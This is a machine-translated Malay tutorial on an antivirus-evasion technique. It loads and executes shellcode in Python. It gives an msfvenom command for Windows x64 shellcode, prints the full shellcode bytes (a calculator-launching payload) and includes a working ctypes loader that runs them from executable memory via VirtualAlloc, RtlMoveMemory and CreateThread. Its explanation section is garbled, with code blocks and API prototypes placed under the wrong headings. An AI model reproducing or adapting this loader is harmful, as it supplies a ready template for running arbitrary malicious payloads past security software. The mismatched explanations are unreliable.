Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Apakah kaedah pemuatan dan pelaksanaan kod kulit teknologi anti-virus python?

Apakah kaedah pemuatan dan pelaksanaan kod kulit teknologi anti-virus python?

WBOY
WBOYke hadapan
2023-05-10 08:34:171455semak imbas

0x01 Jana shellcode

Mula-mula hasilkan shellcode melalui arahan berikut, gunakan pilihan msfvenom -p untuk menentukan paylaod, di sini pilih parameter yang diterima oleh modul windows/x64 dan exec. Gunakan calc.exe untuk memunculkan kalkulator. Pilihan -f digunakan untuk melaksanakan bahasa terkumpul shellcdoe yang dihasilkan.

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

Apakah kaedah pemuatan dan pelaksanaan kod kulit teknologi anti-virus python?

0x02 Program untuk memuatkan dan melaksanakan shellcode

Atur caranya ialah:

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

if __name__ == "__main__":
    run1()

0x03 Penjelasan program

Import modul , dan memori yang diperuntukkan oleh program juga boleh dibaca dan ditulis.

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

Kod boleh laku wilayah, boleh dibaca dan boleh ditulis

PAGE_EXECUTE_READWRITE = 0x00000040

Peruntukkan memori

MEM_COMMIT = 0x3000

Berikan proses semua kebenaran

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

Panggil windows api

🎜>Tetapkan shellcode yang dijana sebelum ini kepada parameter shellcode Gunakan fungsi bytearray untuk memproses nilai sebelum menetapkan

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

Buat kaedah dan panggilnya, mohon memori, halakan shellcode ke penunjuk memori yang diperuntukkan. dan kemudian salin kod shell ke memori. Cipta acara rangkaian dan jalankan:

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

VirtualAlloc digunakan untuk memohon ruang memori. Pengisytiharannya ialah:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
    WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

RtlMoveMemory menyalin memori dari memori yang ditentukan ke memori lain Di sini:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};

Parameter:

Destinasi: Penunjuk ke alamat destinasi yang bergerak.

Sumber: Penunjuk ke alamat memori yang hendak disalin.
Panjang: Menentukan bilangan bait untuk disalin.

CreateThread ialah fungsi yang disediakan oleh Microsoft dalam Windows API untuk mencipta utas baharu Fungsi ini mencipta utas baharu berdasarkan utas utama.

Prototaip fungsi:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);

Maksud parameter

  • lpThreadAttributes: Penunjuk kepada struktur jenis SECURITY_ATTRIBUTES. Parameter ini diabaikan dalam Windows 98. Dalam Windows NT, NULL menggunakan keselamatan lalai dan tidak boleh diwarisi oleh benang anak Jika tidak, struktur perlu ditakrifkan untuk memulakan ahli bInheritHandlenya kepada TRUE.

  • dwStackSize, tetapkan saiz tindanan awal dalam bait Jika 0, saiz ruang tindanan yang sama seperti benang yang memanggil fungsi akan digunakan secara lalai. Walau apa pun, Windows memanjangkan saiz tindanan secara dinamik mengikut keperluan.

  • lpStartAddress, penunjuk ke fungsi benang, bentuk: @nama fungsi, tiada had pada nama fungsi

  • lpParameter: parameter lulus kepada fungsi benang , ialah penunjuk kepada struktur, dan adalah NULL apabila tiada parameter perlu diluluskan.

  • dwCreationFlags: Bendera benang, nilai yang tersedia adalah seperti berikut

    • (1) CREATE_SUSPENDED (0x00000004): Buat yang digantung benang ,

    • (2) 0: Menunjukkan pengaktifan serta-merta selepas penciptaan.

    • (3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000): Parameter dwStackSize menentukan saiz timbunan rizab awal, jika tidak, dwStackSize menentukan saiz yang diserahkan. Nilai teg ini tidak disokong pada Windows 2000/NT dan Windows Me/98/95.

  • lpThreadId: Simpan id urutan baharu.

    • WaitForSingleObject ialah fungsi API Windows. Apabila pemegang ditutup sementara menunggu masih belum selesai, tingkah laku fungsi tidak ditentukan. Pemegang mesti mempunyai akses SYNCCHRONIZE.

Isytihar:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

hHandle[dalam] pemegang objek. Anda boleh menentukan satu siri objek, seperti Acara, Kerja, Pemberitahuan sumber memori, Mutex, Proses, Semaphore, Benang, Pemasa menunggu, dsb.

dwMillisaat[dalam] Selang masa pemasaan, unit ialah milisaat (milisaat Jika anda menentukan nilai bukan sifar, fungsi berada dalam keadaan menunggu sehingga objek yang ditandakan oleh hHandle dicetuskan atau masa tamat). . Jika dwMillisaat ialah 0, objek tidak diberi isyarat, fungsi tidak memasuki keadaan menunggu, ia sentiasa kembali serta-merta. Jika dwMillisaat adalah INFINITE, fungsi tidak akan kembali sehingga objek dicetuskan.

Menjalankan atur cara boleh berjaya memunculkan kalkulator.

Apakah kaedah pemuatan dan pelaksanaan kod kulit teknologi anti-virus python?

Atas ialah kandungan terperinci Apakah kaedah pemuatan dan pelaksanaan kod kulit teknologi anti-virus python?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam